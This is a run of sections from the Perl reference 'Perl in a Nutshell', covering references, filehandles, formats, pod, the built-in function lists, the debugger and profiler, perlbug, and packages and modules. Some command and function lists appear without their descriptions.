Dereferencing returns the value a reference points to. The general method of dereferencing uses the reference variable substituted for the regular name part of a variable. If $r is a reference, then $$r, @$r, or %$r retrieve the value being referred to, depending on whether $r is pointing to a scalar, array, or hash. A reference can be used in all the places where an ordinary data type can be used.

When a reference is accidentally evaluated as a plain scalar, it returns a string that indicates what type of data it points to and the memory address of the data.

If you just want to know which type of data is being referenced, use ref, which returns one of the following strings if its argument is a reference. Otherwise, it returns false.

SCALAR
ARRAY
HASH
CODE
GLOB
REF

4.8.2.1 Arrow dereferencing

References to arrays, hashes, and subroutines can be dereferenced using the -> operator. This operator dereferences the expression to its left, which must resolve to an array or hash, and accesses the element represented by the subscripted expression on its right. For example, these three statement are equivalent:

$$arrayref[0] = "man";
${$arrayref}[0] = "man";
$arrayref->[0] = "man";
The first statement dereferences $arrayref first and then finds the first element of that array. The second uses braces to clarify this procedure. The third statement uses the arrow notation to do the same thing.

The arrow dereferencing notation can only be used to access a single scalar value. You cannot use arrow operators in expressions that return either slices or whole arrays or hashes.

Previous: 4.7 Subroutines | Perl in a Nutshell | Next: 4.9 Filehandles
4.7 Subroutines | Book Index | 4.9 Filehandles


[Chapter 4] 4.9 Filehandles

Perl in a Nutshell

Perl in a NutshellSearch this book

4.9 Filehandles

A filehandle is the name for an I/O connection between your Perl process and the operating system. Filehandle names are like label names, but use their own namespace. Like label names, the convention is to use all uppercase letters for filehandle names.

Every Perl program has three filehandles that are automatically opened: STDIN, STDOUT, and STDERR. By default, the print and write functions write to STDOUT. Additional filehandles are created using the open function:

open (DATA, "numbers.txt");
DATA is the new filehandle that is attached to the external file, which is now opened for reading. You can open filehandles for reading, writing, and appending to external files and devices. To open a file for writing, prefix the filename with a greater-than sign:
open(OUT, ">outfile");
To open a file for appending, prefix the filename with two greater-than signs:
open(LOGFILE, ">>error_log");
The open function returns true if the file is successfully opened, and false if it failed to open. Opening a file can fail for any number of reasons: a file does not exist, is write-protected, or you don't have permission for a file or directory. However, a filehandle that has not been successfully opened can still be read from (giving you an immediate EOF) or written to, with no noticeable effects.

You should always check the result of open immediately and report an error if the operation does not succeed. The warn function can report an error to standard error if something goes wrong, and die can terminate your program and tell you what went wrong. For example:

open(LOGFILE, "/usr/httpd/error_log")
    || warn "Could not open /usr/httpd/error_log.\n";
open(DATA, ">/tmp/data") || die "Could not create /tmp/data\n.";
Once the file is opened, you can access the data using the diamond operator, <filehandle>. This is the line-input operator. When used on a filehandle in a scalar context, it will return a line from a filehandle as a string. Each time it is called it will return the next line from the filehandle, until it reaches the end-of-file. The operator keeps track of which line it is on in the file, unless the filehandle is closed and reopened, resetting the operator to the top-of-file.

For example, to print any line containing the word "secret.html" from the LOGFILE filehandle:

while (<LOGFILE>) {
    print "$_\n" if /secret\.html/;
}
In a list context, the line-input operator returns a list in which each line is an element. The empty <> operator reads from the ARGV filehandle, which reads the array of filenames from the Perl command line. If @ARGV is empty, the operator resorts to standard input.

A number of functions send output to a filehandle. The filehandle must already be opened for writing, of course. In the previous example, print wrote to the STDOUT filehandle, even though it wasn't specified. Without a filehandle, print defaults to the currently selected output filehandle, which will be STDOUT until you open and select another one in your program. See the select function (filehandle version) for more information.

If your program involves more than a couple of open filehandles, you should be safe and specify the filehandles for all of your IO functions:

print LOGFILE "======= Generated report $date ======="
To close a filehandle, use the close function. Filehandles are also closed when the program exits.

Previous: 4.8 References and Complex Data Structures | Perl in a Nutshell | Next: 4.10 Formats
4.8 References and Complex Data Structures | Book Index | 4.10 Formats


[Chapter 4] 4.10 Formats

Perl in a Nutshell

Perl in a NutshellSearch this book

4.10 Formats

Formats are a mechanism for generating formatted reports for outputting data. Formats are defined with the format keyword. The general form looks like:

format name =
 ...template lines...
 ...argument line...
.
Most of your format names will be the same as the filehandle names for which they are used. The default format for a filehandle is the one with the same name.

The format definition is like a subroutine definition. It doesn't contain immediately executed code and can therefore be placed anywhere in the file with the rest of the program; they are commonly placed near the end of the file with subroutine definitions. To output to a format, use the write function instead of print.

The template lines contain literal text and fieldholders. Fieldholders contain symbols that describe the size and positioning of the area on the line where data is output. An argument line immediately follows a template line that contains the fields to be replaced by data. The argument line is a list of variables (or expressions), separated by commas, which fill the fields in the previous line in the order they are listed.

Here's an example of a template line with two fieldholders, and the argument line that follows:

Hello, my name is @<<<<<<<<<< and I'm @<< years old.
$name, $age
The fieldholders are the @<<<<<<<<<< and @<<, which specify left-justified text fields with 11 and 3 characters, respectively.

Most fieldholders start with @. The characters following the @ indicate the type of field, while the number of characters (including the @) indicate the field width. The following fieldholder characters determine the positioning of text fields:

<<<< (left angle-brackets)

A left-justified field; if the value is shorter than the field width, it will be padded on the right with spaces.

>>>> (right angle-brackets)

A right-justified field; if the value is too short, it gets padded on the left with spaces.

|||| (vertical bars)

A centered field; if the value is too short, it gets padded on both sides with spaces, enough on each side to make the value mostly centered within the field.

Another kind of fieldholder is a fixed-precision numeric field. This field also begins with @, and is followed by one or more hashmarks (###) with an optional dot (indicating a decimal point). For example:

format MONEY =
Assets: @#####.## Liabilities: @#####.## Net: @#####.##
$assets, $liabilities, $assets-$liabilities
.
The multiline fieldholder allows you to include a value that may have many lines of information. This fieldholder is denoted by @* on a line by itself. The next line defines the value that will be substituted into the field, which in this case may be an expression that results in a value that contains many newlines.

Another kind of fieldholder is a filled field. This fieldholder allows you to create a filled paragraph, breaking the text into conveniently sized lines at word boundaries, wrapping the lines as needed. A filled field is denoted by replacing the @ marker in a text fieldholder with a caret (^<<<, for example). The corresponding value for a filled field (on the following line of the format) must be a scalar variable containing text, rather than an expression that returns a scalar value. When Perl is filling the filled field, it takes the value of the variable and removes as many words as will fit in the field. Subsequent calls for the variable in a filled field will continue where the last one left off.

If the variable's contents are exhausted before the number of fields, you will simply end up with blank lines. You can suppress blank lines by placing a tilde (~) on the line. Any line that contains a tilde character is not output if the line would have otherwise printed blank (i.e., just whitespace). The tilde itself always prints as a blank and can be placed anywhere a space could have been placed in the line.

If the text in the variable is longer than what can be filled in the fields, output only continues until the fields run out. The shortcut to get the string to print until its end is to use two consecutive tildes (~~) on a line. This causes the line to be repeated automatically until the result is a completely blank line (which will be suppressed).

Default values for format parameters all relate to the format of the currently selected filehandle. The currently selected filehandle starts out as STDOUT, which makes it easy to print things on the standard output. However, you can change the currently selected filehandle with the select function, which takes a single filehandle (or a scalar variable containing the name of a filehandle) as an argument. Once the currently selected filehandle is changed, it affects all future operations that depend on the currently selected filehandle.

Previous: 4.9 Filehandles | Perl in a Nutshell | Next: 4.11 Pod
4.9 Filehandles | Book Index | 4.11 Pod


[Chapter 4] 4.11 Pod

Perl in a Nutshell

Perl in a NutshellSearch this book

4.11 Pod

Pod is a simple, but surprisingly capable, text formatter that uses tags to tell a translator how to format the text. The tags serve several purposes:

  • They tell the formatter how to lay out text on the page.

  • They provide font and cross-reference information.

  • They start and stop parsing of code.

The last item is indicative of one of pod's most useful features; - that it can be intermixed with Perl code. While it can be difficult to force yourself to go back and write documentation for your code after the fact, with Perl you can simply intermingle the documentation with the code, and do it all at once. It also lets you use the same text as both code documentation and user documentation if you wish.

A pod translator reads a file paragraph by paragraph, ignoring text that isn't pod, and converting it to the proper format. Paragraphs are separated from each other by blank lines (not just by a newline). The various translators recognize three kinds of paragraphs:

Command

Commands begin with =, followed immediately by the command identifier:

=cut
They can also be followed by text:
=head2 Second-level head
A blank line signals the end of the command.

Text

A paragraph consisting of a block of text, generally filled and possibly justified, depending on the translator. For example, a command like =head2 is probably going to be followed with a text paragraph:

=head2 Pod

Pod is a simple, but surprisingly capable, text formatter that uses
tags to tell a translator how to format the text.

Verbatim

A paragraph that is to be reproduced as-is, with no filling or justification. To create a verbatim paragraph, indent each line of text with at least one space:

Don't fill this paragraph. It's supposed
to look exactly like this on the page.
There are blanks at the beginning of each line.

4.11.1 Paragraph tags

The following paragraph tags are recognized as valid pod commands:

  • =back
  • =begin
  • =cut
  • =end
  • =for
  • =head1
  • =head2
  • =item
  • =over
  • =pod

4.11.2 Interior sequences

In addition to the paragraph tags, pod has a set of tags that apply within text, either in a paragraph or a command. These interior sequences are:

Sequence |  | Function
B<text> |  | Makes text bold, usually for switches and programs
C<code> |  | Literal code
E<escape> |  | Named character: E<gt>
 | <gt> |  | Literal >
 | E<lt> |  | Literal <
 | E<html> |  | Non-numeric HTML entity
 | E<n> |  | Character number n, usually an ASCII character
F<file> |  | Filename
I<text> |  | Italicize text, usually for emphasis or variables L<name>
Link (cross-reference) to name: |  | L<name>
 | Manpage L<name/ident> |  | Item in a manpage
 | L<name/"sec"> |  | Section in another manpage
 | L<"sec"> |  | Section in this manpage; quotes are optional
 | L</"sec"> |  | Same as L<"sec">
S<text> |  | text has non-breaking spaces
X<index> |  | Index entry
Z<> |  | Zero-width character

4.11.3 Pod Utilities

As mentioned earlier, a number of utility programs have been written to convert files from pod to a variety of output formats. Some of the utilities are described here, particularly those that are part of the Perl distribution. Other programs are available on CPAN.

  • perldoc
  • pod2fm
  • pod2html
  • pod2latex
  • pod2man
  • pod2text

Previous: 4.10 Formats | Perl in a Nutshell | Next: 5. Function Reference
4.10 Formats | Book Index | 5. Function Reference


[Chapter 5] Function Reference

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 4.11 Pod Chapter 5 Next: 5.2 Perl Functions in Alphabetical Order

5. Function Reference

Contents:
Perl Functions by Category
Perl Functions in Alphabetical Order

This chapter gives a brief description of Perl's built-in functions. Each description gives the syntax of the function, with the types and order of its arguments.

Required arguments are shown in italics, separated by commas. If an argument must be a specific variable type, that variable's identifier will be used (i.e., a percent sign for a hash, %hash). Optional arguments are placed in brackets. Do not actually use the brackets in your function calls unless you really want to use an anonymous hash reference.

There are different ways to use a built-in function. For starters, any argument that requires a scalar value can be made up of any expression that returns one. For example, you can obtain the square root of the first value in an array:

$root = sqrt (shift @numbers);
shift removes the first element of @numbers and returns it to be used by sqrt.

Many functions take a list of scalars for arguments. Any array variable or other expression that returns a list can be used for all or part of the arguments. For example:

chmod (split /,/ FILELIST>); # an expression returns a list
chmod 0755, @executables;    # array used for part of arguments
In the first line, the split expression reads a string from a filehandle and splits it into a list. The list provides proper arguments for chmod. The second line uses an array that contains a list of filenames for chmod to act upon.

Parentheses are not required around a function's arguments. However, without parentheses, functions are viewed as operators in an expression (the same is true of predeclared subroutines). If you use a function in a complex expression, you may want to use parentheses for clarity. See Chapter 4, The Perl Language, for more about precedence in Perl expressions.

5.1 Perl Functions by Category

Here are Perl's functions and function-like keywords, arranged by category. Note that some functions appear under more than one heading.

Scalar manipulation

chomp, chop, chr, crypt, hex, index, lc, lcfirst, length, oct, ord, pack, q//, qq//, reverse, rindex, sprintf, substr, tr///, uc, ucfirst, y///

Regular expressions and pattern matching

m//, pos, qr//, quotemeta, s///, split, study

Numeric functions

abs, atan2, cos, exp, hex, int, log, oct, rand, sin, sqrt, srand

Array processing

pop, push, shift, splice, unshift

List processing

grep, join, map, qw//, reverse, sort, unpack

Hash processing

delete, each, exists, keys, values

Input and output

binmode, close, closedir, dbmclose, dbmopen, die, eof, fileno, flock, format, getc, print, printf, read, readdir, rewinddir, seek, seekdir, select, syscall, sysread, sysseek, syswrite, tell, telldir, truncate, warn, write

Fixed-length data and records

pack, read, syscall, sysread, syswrite, unpack, vec

Filehandles, files, and directories

chdir, chmod, chown, chroot, fcntl, glob, ioctl, link, lstat, mkdir, open, opendir, readlink, rename, rmdir, stat, symlink, sysopen, umask, unlink, utime

Flow of program control

caller, continue, die, do, dump, eval, exit, goto, last, next, redo, return, sub, wantarray

Scoping

caller, import, local, my, package, use

Miscellaneous

defined, dump, eval, formline, local, my, prototype, reset, scalar, undef, wantarray

Processes and process groups

alarm, exec, fork, getpgrp, getppid, getpriority, kill, pipe, qx//, setpgrp, setpriority, sleep, system, times, wait, waitpid

Library modules

do, import, no, package, require, use

Classes and objects

bless, dbmclose, dbmopen, package, ref, tie, tied, untie, use

Low-level socket access

accept, bind, connect, getpeername, getsockname, getsockopt, listen, recv, send, setsockopt, shutdown, socket, socketpair

System V interprocess communication

msgctl, msgget, msgrcv, msgsnd, semctl, semget, semop, shmctl, shmget, shmread, shmwrite

Fetching user and group information

endgrent, endhostent, endnetent, endpwent, getgrent, getgrgid, getgrnam, getlogin, getpwent, getpwnam, getpwuid, setgrent, setpwent

Fetching network information

endprotoent, endservent, gethostbyaddr, gethostbyname, gethostent, getnetbyaddr, getnetbyname, getnetent, getprotobyname, getprotobynumber, getprotoent, getservbyname, getservbyport, getservent, sethostent, setnetent, setprotoent, setservent

Time

gmtime, localtime, time, times

Previous: 4.11 Pod | Perl in a Nutshell | Next: 5.2 Perl Functions in Alphabetical Order
4.11 Pod | Book Index | 5.2 Perl Functions in Alphabetical Order


[Chapter 5] 5.2 Perl Functions in Alphabetical Order

Perl in a Nutshell

Perl in a NutshellSearch this book

5.2 Perl Functions in Alphabetical Order

  • abs
  • accept
  • alarm
  • atan2
  • bind
  • binmode
  • bless
  • caller
  • chdir
  • chmod
  • chomp
  • chop
  • chown
  • chr
  • chroot
  • close
  • closedir
  • connect
  • cos
  • crypt
  • dbmclose
  • dbmopen
  • defined
  • delete
  • die
  • do
  • dump
  • each
  • endgrent
  • endhostent
  • endnetent
  • endprotoent
  • endpwent
  • endservent
  • eof
  • eval
  • exec
  • exists
  • exit
  • exp
  • fcntl
  • fileno
  • flock
  • fork
  • formline
  • getc
  • getgrent
  • getgrgid
  • getgrnam
  • gethostbyaddr
  • gethostbyname
  • gethostent
  • getlogin
  • getnetbyaddr
  • getnetbyname
  • getnetent
  • getpeername
  • getpgrp
  • getppid
  • getpriority
  • getprotobyname
  • getprotobynumber
  • getprotoent
  • getpwent
  • getpwnam
  • getpwuid
  • getservbyname
  • getservbyport
  • getservent
  • getsockname
  • getsockopt
  • glob
  • gmtime
  • goto
  • grep
  • hex
  • index
  • int
  • ioctl
  • join
  • keys
  • kill
  • last
  • lc
  • lcfirst
  • length
  • link
  • listen
  • local
  • localtime
  • log
  • lstat
  • map
  • mkdir
  • msgctl
  • msgget
  • msgrcv
  • msgsnd
  • my
  • next
  • no
  • oct
  • open
  • opendir
  • ord
  • pack
  • package
  • pipe
  • pop
  • pos
  • print
  • printf
  • prototype
  • push
  • q/string/
  • quotemeta
  • rand
  • read
  • readdir
  • readline
  • readlink
  • readpipe
  • recv
  • redo
  • ref
  • rename
  • require
  • reset
  • return
  • reverse
  • rewinddir
  • rindex
  • rmdir
  • scalar
  • seek
  • seekdir
  • select
  • select
  • semctl
  • semget
  • semop
  • send
  • sethostent
  • setgrent
  • setnetent
  • setpgrp
  • setpriority
  • setprotoent
  • setpwent
  • setservent
  • setsockopt
  • shift
  • shmctl
  • shmget
  • shmread
  • shmwrite
  • shutdown
  • sin
  • sleep
  • socket
  • socketpair
  • sort
  • splice
  • split
  • sprintf
  • sqrt
  • srand
  • stat
  • study
  • sub
  • substr
  • symlink
  • syscall
  • sysopen
  • sysread
  • sysseek
  • system
  • syswrite
  • tell
  • telldir
  • tie
  • tied
  • time
  • times
  • truncate
  • uc
  • ucfirst
  • umask
  • undef
  • unlink
  • unpack
  • unshift
  • untie
  • use
  • utime
  • values
  • vec
  • wait
  • waitpid
  • wantarray
  • warn
  • write

Previous: 5.1 Perl Functions by Category | Perl in a Nutshell | Next: 6. Debugging
5.1 Perl Functions by Category | Book Index | 6. Debugging


[Chapter 6] Debugging

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 5.2 Perl Functions in Alphabetical Order Chapter 6 Next: 6.2 Debugger Commands

6. Debugging

Contents:
The Perl Debugger
Debugger Commands
Using the Debugger
Customizing the Debugger
The Perl Profiler
The perlbug Program

Of course everyone writes perfect code on the first try, but on those rare occasions when something goes wrong and you're having trouble with your Perl script, there are several things you can try:

  • Run the script with the -w switch, which prints warnings about possible problems in your code.

  • Use the Perl debugger.

  • Use another debugger, or a profiler such as the Devel::DProf module.

The major focus of this chapter is the Perl debugger, which provides an interactive Perl environment. The chapter also describes the use of the DProf module and the dprofpp program that comes with it; together they can provide you with a profile of your Perl script. If you've ever used any debugger, and you understand concepts such as breakpoints and backtraces, you'll have no trouble learning to use the Perl debugger. Even if you haven't used another debugger, the command descriptions and some experimenting should get you going.

6.1 The Perl Debugger

To run your script under the Perl source debugger, invoke Perl with the -d switch:

perl -d myprogram
This works like an interactive Perl environment, prompting for debugger commands that let you examine source code, set breakpoints, get stack backtraces, change the values of variables, etc. If your program takes any switches or arguments, you must include them in the command:
perl -d myprogram myinput
In Perl, the debugger is not a separate program as it is in the typical compiled environment. Instead, the -d flag tells the compiler to insert source information into the parse trees it's about to hand off to the interpreter. That means your code must first compile correctly for the debugger to work on it - the debugger won't run until you have fixed all compiler errors.

After your code has compiled, and the debugger has started up, the program halts right before the first runtime executable statement (but see Section 6.3, "Using the Debugger" below regarding compile time statements) and waits for you to enter a debugger command. Whenever the debugger halts and shows you a line of code, it always displays the line it's about to execute, rather than the one it has just executed.

Any command not recognized by the debugger is directly executed as Perl code in the current package. In order to be recognized by the debugger, the command must start at the beginning of the line, otherwise the debugger assumes it's for Perl.

Previous: 5.2 Perl Functions in Alphabetical Order | Perl in a Nutshell | Next: 6.2 Debugger Commands
5.2 Perl Functions in Alphabetical Order | Book Index | 6.2 Debugger Commands


[Chapter 6] 6.2 Debugger Commands

Perl in a Nutshell

Perl in a NutshellSearch this book

6.2 Debugger Commands

The debugger understands the following commands:

  • a
  • A
  • b
  • b
  • b
  • b
  • b
  • c
  • d
  • D
  • f
  • h
  • H
  • l
  • L
  • m
  • m
  • n
  • O
  • p
  • q
  • r
  • R
  • s
  • S
  • t
  • t
  • T
  • v
  • V
  • w
  • x
  • X
  • <CR>
  • -
  • .
  • /pattern/
  • ?pattern?
  • <
  • <<
  • >
  • >>
  • {
  • {{
  • !
  • !
  • !
  • !!
  • |
  • ||
  • =
  • command

Previous: 6.1 The Perl Debugger | Perl in a Nutshell | Next: 6.3 Using the Debugger
6.1 The Perl Debugger | Book Index | 6.3 Using the Debugger


[Chapter 6] 6.3 Using the Debugger

Perl in a Nutshell

Perl in a NutshellSearch this book

6.3 Using the Debugger

If you have any compile time executable statements (code within a BEGIN block or a use statement), they are not stopped by the debugger, although requires are.

The debugger prompt is something like this:

DB<8>
or even this:
DB<<17>>
where the number in angle brackets is the command number. A csh-like history mechanism lets you access previous commands by number. For example, !17 repeats command number 17. The number of angle brackets indicates the depth of the debugger. You get more than one set of brackets, for example, if you're already at a breakpoint and then you print out the result of a function call that itself also has a breakpoint.

If you want to enter a multiline command, such as a subroutine definition with several statements, you can use a backslash to escape the newline that would normally end the debugger command:

DB<1> sub foo { \
cont:   print "fooline\n"; \
cont: }
DB<2> foo
fooline
You can maintain limited control over the Perl debugger from within your Perl script. You might do this, for example, to set an automatic breakpoint at a certain subroutine whenever a particular program is run under the debugger. Setting $DB::single to 1 causes execution to stop at the next statement, as though you'd used the debugger's s command. Setting $DB::single to 2 is equivalent to typing the n command, and the $DB::trace variable can be set to 1 to simulate the t command.

Once you are in the debugger, you can terminate the session by entering q or CTRL-D at the prompt. You can also restart the debugger with R.

Previous: 6.2 Debugger Commands | Perl in a Nutshell | Next: 6.4 Customizing the Debugger
6.2 Debugger Commands | Book Index | 6.4 Customizing the Debugger


[Chapter 6] 6.4 Customizing the Debugger

Perl in a Nutshell

Perl in a NutshellSearch this book

6.4 Customizing the Debugger

You can do some customizing by setting up a .perldb file with initialization code. When it starts up, the debugger reads and processes this file. For instance, you can set up aliases like these:

$DB::alias{'len'}  = 's/^len(.*)/p length($1)/';
$DB::alias{'stop'} = 's/^stop (at|in)/b/';
$DB::alias{'ps'}   = 's/^ps\b/p scalar /';
$DB::alias{'quit'} = 's/^quit\b.*/exit/';
You can also use this file to set options and to define a subroutine, &afterinit, to be executed after the debugger is initialized.

After the configuration file has been processed, the debugger consults the environment variable PERLDB_OPTS and parses its contents as arguments to the O opt=val debugger command.

While any options can be set in PERLDB_OPTS, the following options can only be specified at startup. If you want to set them in your configuration file, call &parse_options(<">opt=val<">).

TTY

The TTY to use for debugging I/O.

noTTY

If set, goes in NonStop mode. On an interrupt, if TTY is not set, it uses the value of noTTY or /tmp/perldbtty$$ to find the TTY using Term::Rendezvous. The current variant is to have the name of the TTY in this file.

ReadLine

If false, a dummy ReadLine is used so that you can debug ReadLine applications.

NonStop

If true, no interaction is performed until an interrupt.

LineInfo

File or pipe to print line number information to. If it's a pipe, then a short, emacs-like message is used.

For example, if you create the following .perldb file:

&parse_options("NonStop=1 LineInfo=db.out");
sub afterinit { $trace = 1; }
your script will run without human intervention, putting trace information into the file db.out.

Previous: 6.3 Using the Debugger | Perl in a Nutshell | Next: 6.5 The Perl Profiler
6.3 Using the Debugger | Book Index | 6.5 The Perl Profiler


[Chapter 6] 6.5 The Perl Profiler

Perl in a Nutshell

Perl in a NutshellSearch this book

6.5 The Perl Profiler

You can supply an alternative debugger for Perl to run, by invoking your script with the -d:module switch. One of the most popular alternative debuggers for Perl is DProf, the Perl profiler. As of this writing, DProf was not included with the standard Perl distribution, but it is expected to be included soon.

Meanwhile, you can fetch the Devel::DProf module from CPAN. Once it has been properly installed on your system, you can use it to profile the Perl program in testpgm by typing:

perl -d:DProf testpgm
As your script runs, DProf gathers profile information. When the script terminates, the profiler dumps the gathered information to a file called tmon.out. A tool such as dprofpp, which is supplied with the Devel::DProf package, can be run to interpret the profile. If you run dprofpp against the tmon.out file created by DProf in the example above, you'll see something like the following:
% dprofpp tmon.out
Total Elapsed Time =    0.15 Seconds
  User+System Time =     0.1 Seconds
Exclusive Times
%Time Seconds     #Calls sec/call Name
 30.0   0.030          1   0.0300 Text::Wrap::CODE(0x175f08)
 20.0   0.020          1   0.0200 main::CODE(0xc7880)
 20.0   0.020          1   0.0200 main::CODE(0xfe480)
 10.0   0.010          1   0.0100 Text::Wrap::CODE(0x17151c)
 10.0   0.010         10   0.0010 Text::Tabs::expand
 0.00   0.000          1   0.0000 lib::CODE(0xfe5b8)
 0.00   0.000          3   0.0000 Exporter::export
 0.00   0.000          1   0.0000 Config::FETCH
 0.00   0.000          1   0.0000 lib::import
 0.00   0.000          1   0.0000 Text::Wrap::CODE(0x171438)
 0.00   0.000          3   0.0000 vars::import
 0.00   0.000          3   0.0000 Exporter::import
 0.00   0.000          2   0.0000 strict::import
 0.00   0.000          1   0.0000 Text::Wrap::CODE(0x171684)
 0.00   0.000          1   0.0000 lib::CODE(0xfe4d4)
The output shows the fifteen subroutines that use the most time - you can then focus your efforts on those subroutines where tuning the code will have the greatest effect. This output is an example of running the dprofpp command with the default option set. The following are the options that are available:

-a

Sorts output alphabetically by subroutine name.

-E

Default. Displays all subroutine times exclusive of child subroutine times.

-F

Forces generation of fake exit timestamps if dprofpp reports that the profile is garbled. Useful only if dprofpp determines that the profile is garbled due to missing exit timestamps.

-I

Displays all subroutine times inclusive of child subroutine times.

-l

Sorts by number of calls to the subroutines.

-O cnt

Shows only cnt subroutines. The default is fifteen.

-p script

Profiles the given script and then interprets its profile data, combining the usual two steps into one.

-Q

Used with -p, profiles the script and then quits without interpreting the data.

-q

Does not display column headers.

-r

Displays elapsed real times.

-s

Displays system times only.

-T

Displays subroutine calls, but not subroutine statistics.

-t

Displays subroutine call tree, but not subroutine statistics. A subroutine called multiple times is only shown once, with a repeat count.

-U

Displays unsorted output.

-u

Displays user times only.

-V

Prints the dprofpp version number.

-v

Sorts by average time spent in subroutines during each call.

-z

Default. Sorts by amount of user and system time used, so that the first few lines should show which subroutines are using the most time.

Previous: 6.4 Customizing the Debugger | Perl in a Nutshell | Next: 6.6 The perlbug Program
6.4 Customizing the Debugger | Book Index | 6.6 The perlbug Program


[Chapter 6] 6.6 The perlbug Program

Perl in a Nutshell

Perl in a NutshellSearch this book

6.6 The perlbug Program

As you develop and debug your own code, it's possible that you'll run into a bug in Perl itself - if you do, the best way to report it is with the perlbug program. perlbug is a Perl program designed to automate the process of reporting bugs in the Perl standard distribution and the standard modules. It works interactively, prompting you for the information needed and generating an email message addressed to perlbug@perl.com. (If the bug you found is in one of the non-standard Perl ports, see the documentation for that port to find out how to report bugs.) When you run perlbug, it prompts you to include all relevant information, making it easier for the Perl developers to reproduce and track down the bug. If you come up with a patch to resolve the problem, include that too.

Don't use perlbug as a way to get help debugging your code (see the list of newsgroups and other resources in Chapter 1, Introduction to Perl, for that), but if you believe you've found a bug in Perl itself, perlbug is the way to report it.

To run perlbug, simply enter the command, with any options you want to include. For example:

% perlbug -t
The possible options are:

-a address

Email address to send report to. Default is perlbug@perl.com.

-b body

Body of report. If not included on the command line or in a file, you are given a chance to edit it.

-C

Don't send a copy to your Perl administrator.

-c address

Email address where copy should be sent. Default is your Perl administrator.

-d

Data mode. (The default if you redirect or pipe input.) Prints your configuration data, without mailing anything. Use with -v to get more complete data.

-e editor

Editor to use. Defaults to your default editor or to vi.

-f file

File containing prepared body of report.

-h

Prints help message.

-ok

Reports successful build on this system to Perl porters. Forces -S and -C; forces and supplies values for -s and -b. Use with -v to get more complete data. Only reports if this system is less than 60 days old.

-okay

Like -ok but will report on systems older than 60 days.

-r address

Return address. If not specified on the command line, perlbug prompts for it.

-S

Send without asking for confirmation.

-s subject

Subject to include. If not specified on command line, perlbug prompts for it.

-t

Test mode. Target address defaults to perlbug-test@perl.com.

-v

Verbose. Includes verbose configuration data in report.

Previous: 6.5 The Perl Profiler | Perl in a Nutshell | Next: III. Modules
6.5 The Perl Profiler | Book Index | III. Modules


[Chapter 7] Packages, Modules, and Objects

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: III. Modules Chapter 7 Next: 7.2 Modules

7. Packages, Modules, and Objects

Contents:
Namespaces and Packages
Modules
Object-Oriented Perl
Object Syntax

Over the years, Perl has evolved from a utilitarian scripting tool into a sophisticated object-oriented programming language. Many people continue to use Perl just for simple scripts, and Perl will continue to make simple tasks easy. However, Perl can also make difficult tasks possible, by writing reusable code and using object-oriented programming techniques.

This chapter explains what Perl modules are and how to use them in your programs. Modules are written to accomplish tasks that either aren't implemented by Perl's built-in functions, or that could be done better. We say modules are "reusable" because anyone who needs to accomplish the same task can use that module instead of writing the code from scratch. As you write more and more Perl code, you'll undoubtedly find yourself using many of the modules other Perl programmers have provided. You may also find yourself writing modules and making them available for others to use.

The remainder of this book describes a significant portion of the functionality that's present in publicly available Perl modules. You'll find that a number of standard or core modules are distributed with Perl; many of these modules are discussed in Chapter 8, Standard Modules. Scores of other modules are available on CPAN, and virtually any task you'd like to accomplish in Perl is implemented in a module found there. For unbundled modules, you'll need to install the module on your system, and then integrate it into your program with the use function.

The use function is often the key to working with modules. For example, to bring the functionality of the popular CGI module into your program, you need to install the CGI.pm module (the .pm stands for Perl module) and put this line near the top of your program:

use CGI;
Now your program can make use of the many functions and variables made available by the CGI module.

Packages (from which modules are built) are also the mechanism by which Perl's object-oriented features are implemented. But object-oriented programming isn't for everyone, and there's nothing in packages that forces the programmer to work with the object-oriented paradigm.

7.1 Namespaces and Packages

A namespace does what it says: it stores names (or identifiers), including names of variables, subroutines, filehandles, and formats. Each namespace has its own symbol table, which is basically a hash with a key for each identifier.

The default namespace for programs is main, but you may define other namespaces and variables and use them in your program. Variables in different namespaces can even have the same name, but they are completely distinct from one another.

In Perl, a namespace is held in a package. By convention, package names start with a capital letter, and you should follow that convention when you create your own packages.

Each package starts with a package declaration. The package call takes one argument, the name of the package. Within the scope of a package declaration, all regular identifiers are created within that package (except for my variables).

From inside one package, you can refer to variables from another package by "qualifying" them with the package name. To do this, place the name of the package followed by two colons (::) before the identifier's name, i.e., $Package::varname.

If the package name is null, the main package is assumed. For example, $var and $::var are the same as $main::var.

Packages may be nested inside other packages. However, the package name must still be fully qualified. For example, if the package Province is declared inside the package Nation, a variable in the Province package is called as $Nation::Province::var. You cannot use a "relative" package name such as $Province::var within the Nation package for the same thing.

The default main namespace contains all other packages within it.

Previous: III. Modules | Perl in a Nutshell | Next: 7.2 Modules
III. Modules | Book Index | 7.2 Modules


[Chapter 7] 7.2 Modules

Perl in a Nutshell

Perl in a NutshellSearch this book

7.2 Modules

A module is a package defined in a file whose name is the same as the package. Perl locates modules by searching the @INC array, which contains a list of library directories. Perl's use of @INC is roughly comparable to the Unix shell's use of the PATH environment variable to locate executable programs. @INC is defined when Perl is built, and can be supplemented with the -I command-line option to Perl or with use lib within a program.

When you refer to ModuleName in your program, Perl searches in the directories listed in @INC for the module file ModuleName.pm, and uses the first one it finds. When you refer to a module embedded in another package, such as ParentPackage::ModuleName, Perl looks for a ParentPackage/ subdirectory in the @INC path, and for a ModuleName.pm file in that subdirectory.

Every Perl installation includes a central lib directory. The actual pathname of this directory varies from system to system, but it's commonly /usr/lib/perl or /usr/local/lib/perl. Looking at the central lib directory for your Perl distribution, you'll see something like this:

% ls -aF /usr/local/lib/perl
./               I18N/            bigfloat.pl      less.pm
../              IO/              bigint.pl        lib.pm
AnyDBM_File.pm   IPC/             bigrat.pl        locale.pm
AutoLoader.pm    Math/            blib.pm          look.pl
AutoSplit.pm     Net/             cacheout.pl      man/
Benchmark.pm     Pod/             chat2.pl         newgetopt.pl
Bundle/          Search/          complete.pl      open2.pl
CGI/             SelectSaver.pm   constant.pm      open3.pl
CGI.pm           SelfLoader.pm    ctime.pl         perl5db.pl
CPAN/            Shell.pm         diagnostics.pm   pod/
CPAN.pm          Symbol.pm        dotsh.pl         pwd.pl
Carp.pm          Sys/             dumpvar.pl       shellwords.pl
    ...
When you request the AnyDBM_File module, it uses AnyDBM_File.pm. When you request the Math::Complex module, it looks for Math/Complex.pm.

A module can be included in your program with use or require. Both use and require read in a module file for use with your program.

require Module;
or:
use Module;
use can also take a list of strings naming entities that you want to import from the module. The list only has to include entities that are not automatically exported by the module. You don't have to provide this list at all if the module automatically exports all the entities you need.
